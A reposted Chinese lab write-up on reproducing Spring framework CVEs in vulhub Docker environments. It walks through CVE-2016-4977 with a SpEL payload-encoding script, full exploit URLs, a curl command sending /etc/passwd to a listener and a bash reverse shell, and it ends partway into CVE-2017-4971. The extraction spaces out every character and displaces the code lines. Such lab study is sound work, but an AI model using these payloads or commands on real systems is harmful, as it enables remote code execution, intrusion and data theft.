搜索

[18618] 2021-08-17_干货｜JavaSpring安全学习笔记

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-17_干货｜JavaSpring安全学习笔记 干 货 ｜ J a v a   S p r i n g 安 全 学 习 笔 记 原 创   m a t h w i z a r d   H A C K 学 习 呀   2 0 2 1 - 0 8 - 1 7 收 录 于 话 题 # j a v a   , 1 # j a v a 安 全   , 1 简 介 简 介 S p r i n g 的 英 文 翻 译 为 春 天 ， 可 以 说 是 给 J a v a 程 序 员 带 来 了 春 天 ， 因 为 它 极 大 的 简 化 了 开 发 。 得 出 一 个 公 式 ： S p r i n g   =   春 天   = J a v a 程 序 员 的 春 天   =   简 化 开 发 。 最 后 的 简 化 开 发 正 是 S p r i n g 框 架 带 来 的 最 大 好 处 。 S p r i n g 是 一 个 开 放 源 代 码 的 设 计 层 面 框 架 ， 它 是 于 2 0 0 3   年 兴 起 的 一 个 轻 量 级 的 J a v a   开 发 框 架 。 由 R o d   J o h n s o n 创 建 ， 其 前 身 为 I n t e r f a c e 2 1 框 架 ， 后 改 为 了 S p r i n g 并 且 正 式 发 布 。 S p r i n g 是 为 了 解 决 企 业 应 用 开 发 的 复 杂 性 而 创 建 的 。 它 解 决 的 是 业 务 逻 辑 层 和 其 他 各 层 的 松 耦 合 问 题 ， 因 此 它 将 面 向 接 口 的 编 程 思 想 贯 穿 整 个 系 统 应 用 。 框 架 的 主 要 优 势 之 一 就 是 其 分 层 架 构 ， 分 层 架 构 允 许 使 用 者 选 择 使 用 哪 一 个 组 件 ， 同 时 为   J 2 E E   应 用 程 序 开 发 提 供 集 成 的 框 架 。 S p r i n g 使 用 基 本 的 J a v a B e a n 来 完 成 以 前 只 可 能 由 E J B 完 成 的 事 情 。 然 而 ， S p r i n g 的 用 途 不 仅 限 于 服 务 器 端 的 开 发 。 从 简 单 性 、 可 测 试 性 和 松 耦 合 的 角 度 而 言 ， 任 何 J a v a 应 用 都 可 以 从 S p r i n g 中 受 益 。 简 单 来 说 ， S p r i n g 是 一 个 分 层 的 J a v a S E / E E   f u l l - s t a c k ( 一 站 式 )   轻 量 级 开 源 框 架 。 S p r i n g   的 理 念 ： 不 去 重 新 发 明 轮 子 。 其 核 心 是 控 制 反 转 （ I O C ） 和 面 向 切 面 （ A O P ） 。 S p r i n g 框 架 包 含 的 功 能 大 约 由 2 0 个 小 模 块 组 成 。 这 些 模 块 按 组 可 分 为 核 心 容 器 ( C o r e   C o n t a i n e r ) 、 数 据 访 问 / 集 成 ( D a t a A c c e s s / I n t e g r a t i o n ) 、 W e b 、 面 向 切 面 编 程 ( A O P 和 A s p e c t s ) 、 设 备 ( I n s t r u m e n t a t i o n ) 、 消 息 ( M e s s a g i n g ) 和 测 试 ( T e s t ) 。 如 下 图 所 示 ： 漏 洞 环 境 搭 建 漏 洞 环 境 搭 建 这 里 我 为 了 方 便 ， 使 用 的 是 v u l h u b 搭 建 d o c k e r 进 行 漏 洞 复 现 首 先 安 装 c u r l 和 d o c k e r
然 后 安 装 p y t h o n 和 p i p 环 境 ， 命 令 如 下 然 后 再 安 装 d o c k e r - c o m p o s e i m a g e - 2 0 2 1 0 7 1 9 1 8 3 7 4 6 6 8 2 到 这 个 地 方 d o c k e r 环 境 就 已 经 搭 建 好 了 ， 这 时 候 需 要 从 g i t h u b 上 把 v u l h u b 的 漏 洞 环 境 给 c l o n e 下 来 ， 这 里 直 接 c l o n e 网 不 太 好 ， 我 就 直 接 下 载 下 来 了 c o p y 到 了 靶 机 上 下 载 好 之 后 进 入 s p r i n g 漏 洞 环 境 ， 这 里 看 到 有 5 个 C V E 漏 洞 ， 我 们 一 个 一 个 来 c v e - 2 0 1 6 - 4 9 7 7 S p r i n g   S e c u r i t y   O A u t h   R C E ( c v e - 2 0 1 6 - 4 9 7 7 ) ， 是 为 S p r i n g 框 架 提 供 安 全 认 证 支 持 的 一 个 模 块 ， 在 7 月 5 日 其 维 护 者 发 布 了 这 样 一 个 升 级 公 告 ， 主 要 说 明 在 用 户 使 用 来 处 理 错 误 时 ， 攻 击 者 在 被 授 权 的 情 况 下 可 以 通 过 构 造 恶 意 参 数 来 远 程 执 行 命 令 。 漏 洞 的 发 现 者 在 1 0 月 1 3 日 公 开 了 该 漏 洞 的 挖 掘 记 录 s u d o   a p t   i n s t a l l   c u r l s u d o   a p t   i n s t a l l   d o c k e r . i o d o c k e r   - v   / / 查 看 是 否 安 装 成 功 s u d o   a p t   i n s t a l l   p y t h o n c u r l   h t t p s : / / b o o t s t r a p . p y p a . i o / p i p / 2 . 7 / g e t - p i p . p y   - - o u t p u t   g e t - p i p . p y s u d o   p y t h o n   g e t - p i p . p y p i p   - V   / / 查 看 是 否 安 装 成 功 p i p   i n s t a l l   d o c k e r - c o m p o s e s u d o   a p t   i n s t a l l   d o c k e r - c o m p o s e d o c k e r - c o m p o s e   - v g i t   c l o n e   h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b . g i t W h i t e l a b e l   v i e w s
影 响 版 本 影 响 版 本 1 . 0 . 0 - 1 . 0 . 5 、 2 . 0 . 0 - 2 . 0 . 9 漏 洞 分 析 漏 洞 分 析 这 个 漏 洞 的 触 发 点 也 是 对 用 户 传 的 参 数 的 递 归 解 析 ， 从 而 导 致 S p E L 注 入 ， 可 是 两 者 的 补 丁 方 式 大 不 相 同 。 S p r i n g b o o t 的 修 复 方 法 是 创 建 一 个 N o n R e c u r s i v e 类 ， 使 解 析 函 数 不 进 行 递 归 。 而 S p r i n g S e c u r i t y O a u t h 的 修 复 方 法 则 是 在 前 缀 $ { 前 生 成 一 个 六 位 的 字 符 串 ， 只 有 六 位 字 符 串 与 之 相 同 才 会 对 其 作 为 表 达 式 进 行 解 析 。 然 而 如 果 请 求 足 够 多 ， 这 种 补 丁 也 是 会 失 效 的 。 这 里 直 接 查 看 补 丁 情 况 可 以 看 到 在 第 一 次 执 行 表 达 式 之 前 程 序 将 替 换 成 了 由 生 成 的 随 机 字 符 串 ， 也 就 是 ， 但 是 这 个 替 换 不 是 递 归 的 ， 所 以 并 没 有 变 。 然 后 创 建 了 一 个 使 程 序 取 $ R a n d o m V a l u e S t r i n g G e n e r a t o r ( ) . g e n e r a t e ( ) $ { e r r o r S u m m a r y }   - >   r a n d o m { e r r o r S u m m a r y } $ { 2 3 3 4 - 1 } h e l p e r r a n d o m { }
中 的 内 容 作 为 表 达 式 ， 这 样 就 使 得 被 作 为 表 达 式 执 行 了 ， 而 因 为 不 符 合 这 个 形 式 所 以 没 有 被 当 作 表 达 式 ， 从 而 也 就 没 有 办 法 被 执 行 了 。 不 过 这 个 P a t c h 有 一 个 缺 点 ： 生 成 的 字 符 串 虽 然 内 容 随 机 ， 但 长 度 固 定 为 6 ， 所 以 存 在 暴 力 破 解 的 可 能 性 。 漏 洞 复 现 漏 洞 复 现 首 先 进 入 C V E - 2 0 1 6 - 4 9 7 7 的 d o c k e r 环 境 访 问 u r l ， 输 入 a d m i n / a d m i n 出 现 以 下 界 面 则 存 在 漏 洞 r a n d o m { } e r r o r S u m m a r y $ { 2 3 3 4 - 1 } r a n d o m { } R a n d o m V a l u e S t r i n g G e n e r a t o r h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 : 8 0 8 0 / o a u t h / a u t h o r i z e ? r e s p o n s e _ t y p e = $ { 2 3 3 * 2 3 3 } & c l i e n t _ i d = a c m e & s c o p e = o p e n i d & r e d i r e c t _ u r i = h t t p : / / t e s t
使 用 g i t h u b 上 找 到 的 p o c 对 传 入 值 进 行 处 理 这 里 我 传 入 一 个 w h o a m i ， 返 回 了 一 个 p a y l o a d 将 这 个 p a y l o a d 拼 接 到 之 前 的 网 址 里 面 访 问 可 以 发 现 ， 这 里 返 回 了 一 个 ， 说 明 代 码 已 经 执 行 了 # ! / u s r / b i n / e n v   p y t h o n m e s s a g e   =   i n p u t ( ' E n t e r   m e s s a g e   t o   e n c o d e : ' ) p o c   =   ' $ { T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( % s ) '   %   o r d ( m e s s a g e [ 0 ] ) f o r   c h   i n   m e s s a g e [ 1 : ] :         p o c   + =   ' . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( % s ) ) '   %   o r d ( c h ) p o c   + =   ' ) } ' p r i n t ( p o c ) [ j a v a . l a n g . U N I X P r o c e s s @ f 2 e 3 e 1 3 ] h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / o a u t h / a u t h o r i z e ? r e s p o n s e _ t y p e = $ { T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 9 ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) ) } & c l i e n t _ i d = a c m e & s c o p e = o p e n i d & r e d i r e c t _ u r i = h t t p : / / t e s t
这 里 使 用 c u r l 发 送 一 个 请 求 即 可 得 到 回 显 得 内 容 这 里 再 使 用 n c 监 听 尝 试 反 弹 s h e l l 使 用 到 b a s h 反 弹 ， 这 里 需 要 绕 过 e x e c ( ) 变 形 使 用 h t t p : / / w w w . j a c k s o n - t . c a / r u n t i m e - e x e c - p a y l o a d s . h t m l 进 行 p a y l o a d 处 理 c u r l   1 9 2 . 1 6 8 . 1 . 2 : 5 5 5 5   - d   " $ ( c a t   / e t c / p a s s w d ) " b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 2 / 5 5 5 5   0 > & 1
将 处 理 后 的 命 令 再 放 入 p o c . p y 得 到 新 的 p a y l o a d 并 拼 接 到 网 址 里 面 然 后 再 访 问 这 个 网 站 即 可 得 到 反 弹 s h e l l h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 0 / o a u t h / a u t h o r i z e ? r e s p o n s e _ t y p e = $ { T ( j a v a . l a n g . R u n t i m e ) . g e t R u n t i m e ( ) . e x e c ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 8 ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 3 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 3 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 8 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 7 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 6 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 9 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 6 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 1 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 5 2 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 0 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 3 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 8 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 9 7 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 1 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 4 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 4 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 0 5 ) ) . c o n c a t ( T ( j a v a . l a n g . C h a r a c t e r ) . t o S t r i n g ( 1 2 5 ) ) ) } & c l i e n t _ i d = a c m e & s c o p e = o p e n i d & r e d i r e c t _ u r i = h t t p : / / t e s t
C V E - 2 0 1 7 - 4 9 7 1 S p r i n g   W e b   F l o w 框 架 远 程 代 码 执 行 ( C V E - 2 0 1 7 - 4 9 7 1 ) 漏 洞 ， 是 由 于 S p r i n g   W e b   F l o w 的 数 据 绑 定 问 题 带 来 的 表 达 式 注 入 ， 从 而 导 致 任 意 代 码 执 行 。 影 响 版 本 影 响 版 本 2 . 4 . 0 - 2 . 4 . 4 、 O l d e r   u n s u p p o r t e d   v e r s i o n s   a r e   a l s o   a f f e c t e d 漏 洞 分 析 漏 洞 分 析 v i e w 对 象 处 理 用 户 事 件 ， 会 根 据 H T T P 参 数 绑 定 相 应 的 m o d e l 如 果 m o d e l 没 有 设 置 ,   则 会 调 用 函 数 B i n d e r C o n f i g u r a t i o n a d d D e f a u l t M a p p i n g s
进 一 步 查 看 函 数 ， 可 以 发 现 输 入 参 数 以 ( “ _ ” ) 开 头 ， 则 会 调 用 函 数 若 参 数 设 置 为 , 则   将 设 置 为 对 象 的 实 例 ， 而 不 是 对 象 的 实 例 。 当 调 用 函 数 时 ， 对 象 将 执 行 表 达 式 ， 触 发 任 意 代 码 执 行 a d d D e f a u l t M a p p i n g s f i e l d M a r k e r P r e f i x a d d E m p t y V a l u e M a p p i n g u s e S p r i n g B e a n B i n d i n g f a l s e e x p r e s s i o n P a r s e r S p e l E x p r e s s i o n P a r s e r B e a n W r a p p e r E x p r e s s i o n P a r s e r g e t V a l u e T y p e S p e l E x p r e s s i o n P a r s e r
漏 洞 复 现 漏 洞 复 现 首 先 进 入 C V E - 2 0 1 7 - 4 9 7 1 的 d o c k e r 环 境 点 击 登 录 这 里 列 出 了 一 些 登 录 账 户 ， 这 里 随 便 使 用 一 个 登 录 即 可
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理